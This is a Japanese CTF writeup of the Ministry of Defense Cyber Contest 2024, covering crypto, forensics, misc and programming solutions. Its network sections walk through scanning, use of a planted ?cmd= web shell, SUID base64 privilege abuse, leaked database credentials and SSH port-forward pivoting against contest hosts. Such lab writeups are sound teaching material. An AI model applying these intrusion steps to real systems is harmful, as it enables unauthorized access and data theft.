防衛省サイバーコンテスト 2024に参加し、450人中7位 の成績を収めました ✌️
感想とwriteupを書きます。
目次
順位・解けた問題
感想 今回のコンテストはよくあるCTFとは違い、
network問題でOSCP, Boot2Root的な問題が出る
pwnがない
という特徴があり、両方とも自分には有利に働いてこの結果だったと思います。
今の実力で解けるべき問題は解き切ったかな(DO_tHe_bestは頑張れた気もする)という思いです。
PivotとBruteforceが面白かったのと、Missing IVとShort RSA Public Keyは教育的で良いなと思いました。
Welcome
添付にフラグがそのまま書いてある。
⛳ flag{WelcomeToMODCyberContest!}
Crypto Information of Certificate
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 % openssl x509 -in Easy.crt -text -noout Certificate: Data: Version: 1 (0x0) Serial Number: 2024 (0x7e8) Signature Algorithm: sha256WithRSAEncryption Issuer: C=XX, ST=Some-State, L=Nowhere, O=Invalid, OU=Invalid, CN=QRK7rNJ3hShV.vlc-cybercontest.invalid/emailAddress=user@QRK7rNJ3hShV.vlc-cybercontest.invalid Validity Not Before: Jan 1 00:00:00 2024 GMT Not After : Feb 1 00:00:00 2024 GMT Subject: C=XX, ST=Some-State, L=Nowhere Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public-Key: (512 bit) Modulus: 00:a6:61:cf:52:55:0a:e4:5e:9b:5c:99:3b:aa:20: 90:0d:80:06:9a:9b:be:23:4c:17:0d:2c:fc :d1:be: 66:43:40:7f:55:10:6a:99:56:0c:b2:09:a5:a2:6d: 2a:25:c4:ff:67:e4:e3:02:87:57:cf:77:af:67:04: 31:c5:f7:9b:83 Exponent: 65537 (0x10001) Signature Algorithm: sha256WithRSAEncryption 3c:ff:d8:42:a8:eb:2c:55:93:5c:73:a3:84:fa:ea:9b:f8:fb: f2:06:50:e4:95:97:9f:5e:ad:c7:ac:b6:36:77:4b:66:1f:38: 20:bf:71:9d:83:32:c1:3c:35:4f:b9:98:b4:4c:97:87:53:7d: 84:80:83:df :ab:10:cc:fa:88:b1
で出てきたCNがフラグ。
⛳ flag{QRK7rNJ3hShV.vlc-cybercontest.invalid}
Missing IV
AES-CBCの復号の問題。AES-CBCは以下の構造で暗号化している。
https://aes.cryptohack.org/ecbcbcwtf/ より引用
鍵: 128 bit (今回は既知)
平文: 128 bitごとに分割 (未知)
暗号文: 128 bitごとに分割 (既知)
という状況。
今回は幸い鍵がわかっているので、後ろのブロックから順に復号してやれば良い(現在の復号済みブロックを前の暗号ブロックとXORする関係で後ろから処理)。
一番最初のブロックだけはIVがわからないので復号できないが、たぶん最初のブロックに大事な情報は入ってないと高を括る。
以下のプログラムを書いた。復号結果を zip にしているのは、最初に目で見たら PK
のzipファイルのマジックコードが先頭に見えたから。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from Crypto.Cipher import AESkey = bytes .fromhex("4285a7a182c286b5aa39609176d99c13" ) with open ("NoIV.bin" , "rb" ) as f: encrypted_flag = f.read() enc_blocks = [encrypted_flag[i : i + 16 ] for i in range (0 , len (encrypted_flag), 16 )] print (f"enc_blocks: {len (enc_blocks)} " )def decrypt_block (block_bytes ): cipher = AES.new(key, AES.MODE_ECB) decrypted = cipher.decrypt(block_bytes) return decrypted decrypted = bytes () for i in range (len (enc_blocks) - 1 , 0 , -1 ): dec_ecb_block = decrypt_block(enc_blocks[i]) prev_enc_block = enc_blocks[i - 1 ] dec_cbc_block = [blk ^ prev_blk for blk, prev_blk in zip (dec_ecb_block, prev_enc_block)] decrypted = bytes (dec_cbc_block) + decrypted with open ('dec.zip' , 'wb' ) as f: f.write(decrypted) print ("decrypted data written to dec.zip" )
実行すると、 dec.zip ができる。unzipすると色々ファイルが出てくる。
1 2 3 % ag flag content.xml 2 :...<text:p text:style-name="P1" >flag{ESYQV0fPMxz4wMmU}</text:p></office:text></office:body></office:document-content>
ということで、
Short RSA Public Key
RSAの問題の解法は自分メモとして RSA - Notion にまとめてある。
まずは添付の .pem を雑に↓に投げる。
Online Certificate Decoder, decode crl,crt,csr,pem,privatekey,publickey,rsa,dsa,rasa publickey,ec
public exponentは e
modulus の部分が公開鍵 n
。10進数にすると:
1 2 % python -c 'print(0xad81c92641c0b18c4eda551c1d7828044e3e4a7519aac90ee4691c4a86dce2e1)' 78479434358679743508116090024686132395246871443799969871485501232049475609313
公開鍵が短いので、素因数分解も簡単。factordb に投げる。
素因数分解もできたので、あとはコードを書く。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from Crypto.Util.number import long_to_bytes, bytes_to_longe = 0x10001 n = 78479434358679743508116090024686132395246871443799969871485501232049475609313 with open ("RSA-cipher.dat" , "rb" ) as myfile: c = bytes_to_long(myfile.read()) p = 1011146650909449935800449563521726151 q = 77614294907759846691928156982114516291863 assert n == p * qphi = (p - 1 ) * (q - 1 ) d = pow (e, -1 , phi) m = pow (c, d, n) print (long_to_bytes(m))
実行すると
1 2 % python solve.py b'\x02\xb0\xf9\x92\x16M\x1fN\x0f\xcd\xd5Bl\x00flag{X0Myx6IHI8}\n'
Cryptographically Insecure PRNG
XORに使う鍵は、4バイトのシードさえ決まれば一意に定まる。ただし任意4バイトはブルートフォースするには多すぎるので、絞り込みたい。
最初の4文字が英字であることが期待されるので、そのような条件を満たすようなシードをリストアップすることとする。以下の seedlist.py
(試行錯誤ゆえめちゃ汚い)を実行すると、 seedlist.hex
のファイルにシード候補たちが1行ずつ書かれる。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from Crypto.Util.number import bytes_to_longimport itertoolsdef mk_seed (ciphertext, ascii4 ): ascii4_long = bytes_to_long(bytes (ascii4, "ascii" )) seed_bytes = b"" for j in range (4 ): seed_bytes = bytes ([ciphertext[j] ^ ((ascii4_long >> ((3 - j) * 8 )) & 0xFF )]) + seed_bytes return seed_bytes with open ("PRNG.bin" , "rb" ) as f: ciphertext = f.read() alphabet = [chr (i) for i in range (ord ("a" ), ord ("z" ) + 1 )] + [ chr (i) for i in range (ord ("A" ), ord ("Z" ) + 1 ) ] combinations = itertools.product(alphabet, repeat=4 ) with open ("seedlist.hex" , "w" ) as f: for combo in combinations: ascii4 = "" .join(combo) seed = mk_seed(ciphertext, ascii4) seed_hex = bytes .hex (seed) print (ascii4, seed_hex) f.write(f"{seed_hex} \n" )
このシードを使って復号を試みる。復号結果には flag
の文字列が含まれているはずなので、復号結果にそれが含まれていたら decrypted-seed-{その時のseed}.txt
に復号結果全文が書き込まれるようなスクリプトを書いた(これまた汚い…)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 def decrypt_first_4bytes (ciphertext, seed ): plaintext = "" for j in range (4 ): plaintext += chr (ciphertext[j] ^ ((seed >> (j * 8 )) & 0xFF )) return plaintext def decrypt (ciphertext, prng ): plaintext = "" for i in range (0 , len (ciphertext), 4 ): xor_val = next (prng) for j in range (4 ): if i + j < len (ciphertext): plaintext += chr (ciphertext[i + j] ^ ((xor_val >> (j * 8 )) & 0xFF )) return plaintext def lcg (m=4294967296 , a=233 , c=653 , seed=0 ): """Linear congruential generator""" while True : yield seed seed = (a * seed + c) % m with open ("PRNG.bin" , "rb" ) as f: ciphertext = f.read() with open ("seedlist.hex" , "r" ) as f: for seed_hex in f: seed = int (seed_hex.strip(), 16 ) first_4bytes = decrypt_first_4bytes(ciphertext, seed) print ( "[progress] seed: {:08X}, first_4bytes: {}" .format ( seed, first_4bytes.encode("utf-8" ) ) ) assert first_4bytes.isalpha() prng = lcg(seed=seed) plaintext = decrypt(ciphertext, prng) if "flag" in plaintext or "FLAG" in plaintext or "Flag" in plaintext: print (f"[Hit ASCII!] seed: {seed} , plaintext: {plaintext} " ) with open (f"decrypted-seed-{seed} .txt" , "w" ) as f2: f2.write(plaintext)
シードが10進数で 2638296720 のとき、以下の平文が得られる。
1 Against selection release between gray knowledge. To interest trot versus protective morning. Round death annoy on interesting bat. Inside finger zip of jolly skate. Opposite flavor exercise of husky quiet. Minus plate include despite whole development. Below society desert than kindhearted head. To shirt guarantee anti steadfast secretary. Beneath tree laugh like romantic expert. To sisters end below hallowed carriage. flag{QVFE5i5LkZdR} Inside hook point into depressed hate. Past act reply anti quarrelsome stove. Aboard badge memorize amid vagabond farm. On riddle request without offbeat pets. At mouth object above present ink. Near curve stroke in garrulous trouble. Anti country answer through swift talk. Over test escape into puzzling crook. Than stream waste near uneven ants. About fireman choke along defective base.
Forensics NTFS Data Hide
FTK Imagerを初めて使ってみたが、下手くそでうまくいかなかった 😇
自分メモの sleuthkit 基本仕草 - Notion あたりを読みつつ sleuthkit でやっていく。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 % fls -o 0000000128 NTFS.vhd r/r 4-128-1: $AttrDef r/r 8-128-2: $BadClus r/r 8-128-1: $BadClus :$Bad r/r 6-128-4: $Bitmap r/r 7-128-1: $Boot d/d 11-144-4: $Extend r/r 2-128-1: $LogFile r/r 0-128-6: $MFT r/r 1-128-1: $MFTMirr d/d 49-144-1: $RECYCLE .BIN r/r 9-128-8: $Secure :$SDS r/r 9-144-11: $Secure :$SDH r/r 9-144-14: $Secure :$SII r/r 10-128-1: $UpCase r/r 10-128-4: $UpCase :$Info r/r 3-128-3: $Volume d/d 39-144-1: NTFSDataHide d/d 41-144-1: NTFSFileDelete d/d 40-144-1: NTFSFileRename d/d 36-144-5: System Volume Information V/V 256: $OrphanFiles % fls -o 0000000128 NTFS.vhd 39-144-1 r/r 42-128-3: Sample.pptx r/r 42-128-5: Sample.pptx:script % icat -o 0000000128 -r NTFS.vhd 42-128-5 "[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('ZmxhZ3tkYXRhX2Nhbl9iZV9oaWRkZW5faW5fYWRzfQ=='))"
Base64が出てきたのでCyberChef。
⛳ flag{data_can_be_hidden_in_ads}
NTFS File Delete
前問と同様に sleuthkit で。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 % fls -o 0000000128 NTFS.vhd r/r 4-128-1: $AttrDef r/r 8-128-2: $BadClus r/r 8-128-1: $BadClus :$Bad r/r 6-128-4: $Bitmap r/r 7-128-1: $Boot d/d 11-144-4: $Extend r/r 2-128-1: $LogFile r/r 0-128-6: $MFT r/r 1-128-1: $MFTMirr d/d 49-144-1: $RECYCLE .BIN r/r 9-128-8: $Secure :$SDS r/r 9-144-11: $Secure :$SDH r/r 9-144-14: $Secure :$SII r/r 10-128-1: $UpCase r/r 10-128-4: $UpCase :$Info r/r 3-128-3: $Volume d/d 39-144-1: NTFSDataHide d/d 41-144-1: NTFSFileDelete d/d 40-144-1: NTFSFileRename d/d 36-144-5: System Volume Information V/V 256: $OrphanFiles % fls -o 0000000128 NTFS.vhd 41-144-1 r/r 48-128-1: Sample.txt -/r * 52-128-1: flag.txt % icat -o 0000000128 -r NTFS.vhd 52-128-1 flag{resident_in_mft}
NTFS File Rename
$MFT
から履歴辿ろうと思ったけどファイル名わからなかった。ヒント見た。
NTFS ファイルシステムはジャーナリングファイルシステムで、NTFS Log や USN ジャーナルにファイルの変更履歴が記録されています。
sleuthkit で $LogFile
をゲット。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 % fls -o 0000000128 NTFS.vhd r/r 4-128-1: $AttrDef r/r 8-128-2: $BadClus r/r 8-128-1: $BadClus :$Bad r/r 6-128-4: $Bitmap r/r 7-128-1: $Boot d/d 11-144-4: $Extend r/r 2-128-1: $LogFile r/r 0-128-6: $MFT r/r 1-128-1: $MFTMirr d/d 49-144-1: $RECYCLE .BIN r/r 9-128-8: $Secure :$SDS r/r 9-144-11: $Secure :$SDH r/r 9-144-14: $Secure :$SII r/r 10-128-1: $UpCase r/r 10-128-4: $UpCase :$Info r/r 3-128-3: $Volume d/d 39-144-1: NTFSDataHide d/d 41-144-1: NTFSFileDelete d/d 40-144-1: NTFSFileRename d/d 36-144-5: System Volume Information V/V 256: $OrphanFiles % icat -o 0000000128 -r NTFS.vhd 2-128-1 > LogFile
Windowsのファイルにありがちな2バイトエンコーディングに気をつけつつ strings でチェック。
1 2 3 4 5 6 % strings -e l LogFile |grep docx werful.docx "journaling_system_is_powerful.docx owerful.docx " journaling_system_is_powerful.docx...
⛳ flag{journaling_system_is_powerful}
HiddEN Variable
メモリフォレンジック!初めてなんだよなぁ…
タイトルからして環境変数を見たそう。ググると Volatility とかいうのを使うと良いとか。本当は2とか3の使い方で滅茶苦茶苦労したけど、サラッと要点を書く。
1 2 3 4 5 6 % vol.py -f ~/tmp/forensics/memdump.raw windows.envars.Envars > Envars.txt % ag flag Envars.txt 1298:2816 sihost.exe 0x1747e0e2010 FLAG BDkPUNzMM3VHthkj2cVEjdRBqTJcfLMJaxT9si67RgJZ45PS ...
flag{BDkPUNzMM3VHthkj2cVEjdRBqTJcfLMJaxT9si67RgJZ45PS}
かな?ヨシ! と思ったけど通らない。ここで試行錯誤沼にハマり30分以上損したが、CyberChefに入れたら教えてくれた。
悔し〜〜〜〜〜〜〜〜〜〜
⛳ flag{volatile_environment_variable}
My Secret
取っ掛かりがあまりない & 残り時間も少なくなってきていたのでヒントを見た。
7-Zip というソフトウェアで何かを行っているようです。
じゃあプロセス絞って解析だな。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 % vol.py -f ~/tmp/forensics/memdump.raw windows.pslist > pslist.txt % grep '7z' pslist.txt 5516 3468 7z.exe 0xe206bb303080 4 - 1 False 2023-12-26 00:51:23.000000 N/A Disabled % vol.py -f ~/tmp/forensics/memdump.raw windows.cmdline --pid 5516 Volatility 3 Framework 2.6.1 Progress: 100.00 PDB scanning finished PID Process Args 5516 7z.exe 7z x -pY0uCanF1ndTh1sPa$$w0rd C:\Users\vauser\Documents\Secrets.7z -od :\ % vol.py -f ~/tmp/forensics/memdump.raw -o . windows.dumpfiles --pid 5516 Volatility 3 Framework 2.6.1 Progress: 100.00 PDB scanning finished Cache FileObject FileName Result DataSectionObject 0xe206bbc4a2f0 Secrets.7z Error dumping file SharedCacheMap 0xe206bbc4a2f0 Secrets.7z file.0xe206bbc4a2f0.0xe206bbabada0.SharedCacheMap.Secrets.7z.vacb
材料は揃ったっぽいので展開。
1 % 7z x -p'Y0uCanF1ndTh1sPa$$w0rd' file.0xe206bbc4a2f0.0xe206bbabada0.SharedCacheMap.Secrets.7z.vacb
Secrets.rtf
というファイルができるので開くと、、フラグがない…
ないわけないでしょ、リッチテキストってことは反転でしょ
いた…
⛳ flag{you_cannot_find_this_secret!}
Miscellaneous Une Maison
添付画像は↓
バーコードっぽい…?
Aperi’Solve
で色味を落としたやつを適当なAndroidアプリのバーコードリーダーで読んだら、読めた。
String Obfuscation
添付コードはこれ。
1 2 3 4 5 6 7 8 9 10 11 import sysif len (sys.argv) < 2 : exit() KEY = "gobbledygook" .replace("b" , "" ).replace("e" , "" ).replace("oo" , "" ).replace("gk" , "" ).replace("y" , "en" ) FLAG = chr (51 )+chr (70 )+chr (120 )+chr (89 )+chr (70 )+chr (109 )+chr (52 )+chr (117 )+chr (84 )+chr (89 )+chr (68 )+chr (70 )+chr (70 )+chr (122 )+chr (109 )+chr (98 )+chr (51 ) if sys.argv[1 ] == KEY: print ("flag{%s}" % FLAG)
FLAG
の箇所を普通に評価すればOK。
1 2 3 % python >>> chr (51 )+chr (70 )+chr (120 )+chr (89 )+chr (70 )+chr (109 )+chr (52 )+chr (117 )+chr (84 )+chr (89 )+chr (68 )+chr (70 )+chr (70 )+chr (122 )+chr (109 )+chr (98 )+chr (51 )'3FxYFm4uTYDFFzmb3'
⛳ flag{3FxYFm4uTYDFFzmb3}
Where Is the Legit Flag?
コードはこれ。
1 2 3 4 5 exec (chr (105 )+chr (109 )+chr (112 )+chr (111 )+chr (114 )+chr (116 )+chr (32 )+chr (122 )+chr (108 )+chr (105 )+chr (98 )+chr (44 )+chr (32 )+chr (98 )+chr (97 )+chr (115 )+chr (101 )+chr (54 )+chr (52 ))TANAKA = "eJyNVG1320QT/Z5z8h+GhNYvcR35JZZdaCGhT6D0gQTiFKjjlpU0ljZe7272xYpoy2/vrJRA+MA56IOPrJ29e+feO7sP84JJ2CohsEqYELBlktsCWM64tA6E3+gKEjSm6u/uXBzPz+AZtBY/vRx91Unffv908vOrw9PXz7/E23h/nf2mtp9/Gz05fn9zbv8sB18f/P7DWa9o/5/1f/Hf6KMlhzfJ9YvZ/x4NKzk185PNF6vud3uf/Xjx0eV/PLsUvz4ev/tw1bq6au3u7MNxorYIK5Yi4K0WRAhWyoAuKstTJiDDlFuuZB9C9WvOwEq2RpBsg2CUlxk4Is5XPIXEMGubwlNqVpVc5mB9nqN1BAG2LjeYM5OFpRVumCAUTPF+31yVtAhb+oB0OLcsN4ikjUTmCih8jqCVoSODUpdvLl+9JK0W8fhJdBD1dnfg7pnG3UGPS9ceT7vdQYdW9uFstQLtjVYWQTBiwiwYb6hJ65jDDUpHoPcIYfP03ahTo4yG/Sg8zb/WaNwKkPel8QQeQ3R7etqLh/CB3qKoF8/gbfO2mBwtF9GypvDCm9D4WipHbYsKLCP1S4MuLTADmzISw6gyiHGP3h52euMY+ArmxpNLguhHNY/B8JBaG0TwCAaDnjJZOy1MezjpPCQ3ig6O7pQ4HHYJa9adLQMXOBfeglMIFp0jH0pOCm8ZBZJSialrHIGLQJECnFmwBQqSvqk0zLkKtFGZT5GEo9Iz7yzPSF3MLUhynYw0NpximLzxXISmWchCU39soWRiDZqRHE04eF64lRfAsi0n2JrCCdaomlXBowBGKU0qMtFQHNYYpmYfzgPzBAu25SHAiv65Jk1esoT6K9TmDhCON4psoLhT7FO1aXKfKhnOqR3ykjwq6Zs3pslFG8K+hqXVzKzJLWVSmuJ6gqxWQY7cMF0fEqRvtWjLpSTIJr3XWFKo00Jp6oXoZaiRVqklmh8RNAy7+uHnWhGhf33ai7/9DQ5xWfeRlJiA4wiKkl544yjYoZu7S2XBl38h/Ldd4SbglAZoJu3hoRRHDs9hHA+nT/9Bhp7EIFs//OhoRoej8WQSQxemo3h69HBV02mu7Q5H46M4no46tUPzgqTOC7jxiBIytiF6YAXXGk1Ve8YMt3WQls2OkyqEKQyzUXRBhYwqT83QQKGjJVtQbVN6pike3CFUoVIijV7SZMx6wk/CjUzXcfCxIbe3Eip/P91e46z0MtGz6fjjHmHt7nwCLpe/Qg==" TAKAHASHI = [0x7a ,0x7a ,0x7a ,0x12 ,0x18 ,0x12 ,0x1d ,0x12 ,0x07 ,0x7b ,0x36 ,0x37 ,0x3c ,0x30 ,0x36 ,0x37 ,0x67 ,0x65 ,0x31 ,0x7d ,0x67 ,0x65 ,0x36 ,0x20 ,0x32 ,0x31 ,0x7b ,0x20 ,0x20 ,0x36 ,0x21 ,0x23 ,0x3e ,0x3c ,0x30 ,0x36 ,0x37 ,0x7d ,0x31 ,0x3a ,0x3f ,0x29 ,0x7b ,0x30 ,0x36 ,0x2b ,0x36 ] exec (bytes ([WATANABE ^ 0b01010011 for WATANABE in reversed (TAKAHASHI)]))
めんどくさ…
TANAKA
をCyberChefでBase64デコードすると、Zlib展開することまで提案してくれた。
展開結果はこんな感じ。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 SATO = '[QI3?)c^J:6RK/FV><ex7#kdYov$G0-A{qPs~w1@+`MO,h(La.WuCp5]i ZbjD9E%2yn8rTBm;f*H"!NS}tgz=UlX&4_|\'\\' SUZUKI = [74 -0 +0 , 87 *1 ,int (48 **1 ), int (8_3 ),int (32.00000 ),int ('34' ), 76 & 0xFF ,72 | 0x00 ,79 ^ 0x00 ,[65 ][0 ], (2 ),47 if True else 0 ,int (12 /1 ),10 % 11 ,ord (chr (26 )), 30 +5 ,int (48 /2 *2 ),9 *9 ] ( '' . join ([ SATO[i] for i in SUZUKI ]) ) print ("flog{8vje9wunbp984}" )
太字にした部分、評価はしているけど出力していない。これをprintしてみるとフラグ。
Utter Darkness
タイトルからしてステガノグラフィー。青空白猫にかけてフィルタをポチポチしてたらフラグ。
Serial Port Signal (解けなかった 😭)
20マイクロ秒毎に 0/1 が並んだCSV。モールスか…? ビット列→ASCIIか…?
こねくり回したけど全然うまくいかず、両方ともヒントを見た。
シリアル通信の方式は UART です。
ボーレートは 9600、データ長は 7 bit、パリティは偶数、ストップビットは 1 です。
残り時間わずかだしプログラム書きたくないし、オンラインのデコーダー探したりCopilotに頑張ってもらったりしたけど無理だった。
先人のwriteup↓を拝見する。
防衛省サイバーコンテスト 2024 writeup - st98 の日記帳 - コピー
記載のスクリプト実行すると、
1 JXXHello UART: synt{IjUZC5TD}
の出力が出る。ROT13っぽいのでCyberChefにかけると、フラグ。
Network (NW) Discovery
まずはnmap。
1 2 3 4 5 6 7 8 9 10 % sudo nmap -sS -T4 10.10 .10 .21 Starting Nmap 7.94 ( https://nmap.org ) at 2024 -02-25 23 :16 JST Nmap scan report for schatzsuche.ctf (10.10 .10 .21 ) Host is up (0.016 s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22 /tcp open ssh80 /tcp open httpNmap done: 1 IP address (1 host up) scanned in 0.45 seconds
HTTPが空いているのでアクセスしてみる。
http://schatzsuche.ctf/ にリダイレクトされるので、 /etc/hosts
に
1 10.10 .10 .21 schatzsuche.ctf
を書き足して再度アクセス。
見た目的にも何もないし入力箇所もない。ffufします。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 % ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://schatzsuche.ctf/FUZZ ... [Status: 200 , Size: 268 , Words: 8 , Lines: 6 , Duration: 7ms] * FUZZ: .well-known/security.txt [Status: 301 , Size: 162 , Words: 5 , Lines: 8 , Duration: 7ms] * FUZZ: cmsadmin [Status: 301 , Size: 162 , Words: 5 , Lines: 8 , Duration: 7ms] * FUZZ: ftp [Status: 200 , Size: 428 , Words: 67 , Lines: 8 , Duration: 6ms] * FUZZ: index.html [Status: 200 , Size: 4700 , Words: 793 , Lines: 141 , Duration: 7ms] * FUZZ: robots.txt :: Progress: [4723 /4723 ] :: Job [1 /1 ] :: 4347 req/sec :: Duration: [0 :00 :01] :: Errors: 0 :: ...
/ftp を辿ると、 credentials.txt
が手に入る。
その中に /cmsadmin のCMSに入れるID/passが記載されているので、ログインする。
メニューのinfo的なところからバージョンがわかる。
⛳ flag{9.2.2.0, Revision: 14877}
Exploit
CMSよろしく .php ファイルをいじれる様子。reverse shellのPHPを仕込もうとしたけど、仕込んだPHPにアクセスしてもPHPで実行されずにベタ書きHTMLとして配信されている…?
動的実行の設定を変えようにも、今のIDだとその権限がない模様。
悩んでいると、自分の書いたファイルがどんどん書き換わる。どうやら他のプレイヤーと同じ環境で上書きしまくっているよう。なんそれ?
誰かが仕込んでくれた、フォームに ?cmd=
パラメーター書くとコマンドライン実行して出力見せてくるやつに運よくアクセスできたので、
1 2 find / -name '*.txt' cat /var/www/flag.txt
してフィニッシュ。PHP実行できるようにするのあれどうやったんだろう?
⛳ flag{G3t_R3v3rs3_Sh3ll}
Pivot
sshできる。ホームディレクトリに root オーナーのフラグある(もちろん読めない)。
OSCP知識的には linpeas 刺して弱い所見つけてroot取って終了。… と思ったら、なんとgeorgeさん自分のホームディレクトリにも /tmp/
にも書き込みアクセスできない。そんな…
しかしSUIDビット立ってる実行ファイルでrootユーザーとしてフラグ読むパターンもOSCPあるある。
1 2 george@330bb6afc5ef:~$ find / -perm -u=s -type f 2 >/dev/null /usr/bin /base64
なんか珍しいのが引っかかったな。
base64はファイルを対象にエンコードできるので、これでフラグ得られる(?)
1 2 george@330bb6afc5ef:~$ /usr/bin /base64 secrets.txt W01hcmlhREIgQWNjZXNzIEluZm9ybWF0aW9uXQpkYl91c2VyCkg0UmliMF85MGxkQjRSRU4K
デコードすると…
1 2 3 [MariaDB Access Information] db_user H4Rib0_90ldB4REN
く〜
MariaDBを探せば良さそう。しかしVPN参加しているマシンからnmapしても見つからない。
CMSはDBアクセスしてるはずなので、Discovery, Exploitの問題で入った管理画面でinfo的なところを見てみると、(CMSサーバーにとっての) ctfbox_mariadb_1
(192.168.32.2に解決される) というホストを発見。
ここにmysqlプロトコルでログインすればよいのだが、 mysql
コマンドはないし、 python3
やら perl
にもMySQLプロトコルを喋れるプラグインはない。
ヒントを見る。
SSH サーバーで実行できるコマンドは少ないですが、ポートフォワーディングを利用すればうまくいくはずです。
あああああそっかあああああああ
ポートフォーワードうろ覚えだが、VPN参加している攻撃マシンから以下のコマンドを打って接続できた。
1 2 % ssh -L3307:192.168 .32 .2 :3306 george@10.10 .10 .21 % mysql -h 127.0 .0 .1 -P 3307 -u db_user --password=H4Rib0_90ldB4REN
あとはテーブルまでたどり着くだけ。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 MariaDB [(none)]> show databases; +--------------------+ | Database | +--------------------+ | flag5 | | information_schema | +--------------------+ 2 rows in set (0.017 sec)MariaDB [(none)]> use flag5 Database changed MariaDB [flag5]> show tables; +-----------------+ | Tables_in_flag5 | +-----------------+ | flag | +-----------------+ 1 row in set (0.007 sec)MariaDB [flag5]> select * from flag; +----+------------------------+ | id | flag | +----+------------------------+ | 1 | flag{p!V071ng_M31s73r} | +----+------------------------+
WiresharkのファイルダウンロードでFTPから .zip をダウンロード。だがパスワード付きzip。パスワード付きzipのクラック with john - Notion でもパスワード特定できず。
Follow TCP Streams でFTPサーバーのパスワードが見えるので、それで試すと展開できた。
Do tHe best (解けなかった 😭) HTTPレスポンスヘッダから、https://github.com/m13253/dns-over-https がヒントであって、DNS over HTTPSの問題であることはわかった。例えば以下のリクエストは通る。
1 2 % curl --insecure -H 'accept: application/dns-json' 'https://10.10.10.20/dns-query?name=example.com&type=A' {"Status" :0,"TC" :false ,"RD" :true ,"RA" :true ,"AD" :false ,"CD" :false ,"Question" :[{"name" :"example.com." ,"type" :1}],"Authority" :[{"name" :"example.com." ,"type" :6,"TTL" :86400,"Expires" :"Mon, 26 Feb 2024 14:45:17 UTC" ,"data" :"ns.example.com. hostmaster.examle.com. 2024120101 10800 3600 604800 86400" }]
しかし時間もなくこれ以上手が出せず…
逆引きが正解だった模様。うわーN年前にdigでやったことある!
1 2 % curl --insecure -H 'accept: application/dns-json' 'https://10.10.10.20/dns-query?name=20.10.10.10.in-addr.arpa&type=PTR' {"Status" :0,"TC" :false ,"RD" :true ,"RA" :true ,"AD" :false ,"CD" :false ,"Question" :[{"name" :"20.10.10.10.in-addr.arpa." ,"type" :12}],"Answer" :[{"name" :"20.10.10.10.in-addr.arpa." ,"type" :12,"TTL" :86400,"Expires" :"Mon, 26 Feb 2024 14:47:09 UTC" ,"data" :"DSb-mt8ZVRtTCL97PDL4rRQxc3TbZ-gu.example.com." }]}
得られたホストを指定してHTTPリクエストでフラグ。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 % curl --insecure -H 'Host: DSb-mt8ZVRtTCL97PDL4rRQxc3TbZ-gu.example.com' https://10.10.10.20 <!DOCTYPE html> <html> <head > <title>DO tHe best</title> <style> html { color-scheme: light dark; } body { width: 35em; margin: 0 auto; font-family: Tahoma, Verdana, Arial, sans-serif; } </style> </head> <body> <h1>flag{8NZfrhDH-ZGe}</h1> </body> </html>
これは時間かけたら解けたかもな…
Programming 大体Copilotがやりました
Logistic Map
Copilotに以下のお願い。
1 2 3 下記のロジスティック写像について、x_0 = 0.3 を与えた時の x_9999 の値を求め、小数第7位までの値を答えてください。なお、値の保持と計算には倍精度浮動小数点数を使用してください。 x_{n+1} = 3.99 x_n (1 - x_n)
こんなコードを吐いた。一発成功。
1 2 3 4 5 6 7 8 9 10 11 12 def logistic_map (x0, r, n ): x = x0 for _ in range (n): x = r * x * (1 - x) return x x0 = 0.3 r = 3.99 n = 9999 result = logistic_map(x0, r, n) print (f"The value of x_{n} : {result} " )
1 2 % python solve.py The value of x_9999: 0.8112735079776592
Randomness Extraction
ググって <https://github.com/MayankKharbanda/randomness_extractors/blob/master/neumann/von_neumann.py を発見。
こいつを実行する。
1 2 3 % python3 von_neumann.py -i random.dat % file output.bin output.bin: data
得体が知れないのでバイナリを眺める。
たまたまフラグが目についた。冴えてた。
XML Confectioner
Copilotニキの出番。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 添付の sweets.xml には、多数の sweets:batch 要素が含まれています。これらの中から、下記の条件すべてを満たす sweets:batch 要素内において、最も cookie:radius 属性が大きな sweets:cookie 要素の内容を探してprint してください。 1. 少なくとも二つの子要素 sweets:icecream が含まれる 2. 子要素 sweets:icecream には icecream:amount 属性の値が 105g を下回るものがない 3. 子要素 sweets:candy の candy:weight 属性の値の合計が 28.0g 以上である 4. 子要素 sweets:candy の candy:shape 属性が 5 種類以上含まれる 5. cookie:kind 属性が icing でありかつ cookie:radius 属性が 3.0cm 以上の子要素 sweets:cookie を少なくとも一つ含む 以下が sweets.xml の冒頭部分です。 <?xml version='1.0' encoding='utf-8' ?> <sweets:orders xmlns:icecream="<http://xml.vlc-cybercontest.com/icecream>" xmlns:candy="<http://xml.vlc-cybercontest.com/candy>" xmlns:cookie="<http://xml.vlc-cybercontest.com/cookie>" xmlns:sweets="<http://xml.vlc-cybercontest.com/sweets" >> <sweets:batch sweets:id ="0x1E24A4AE" > <sweets:icecream icecream:id ="0x9F78027" 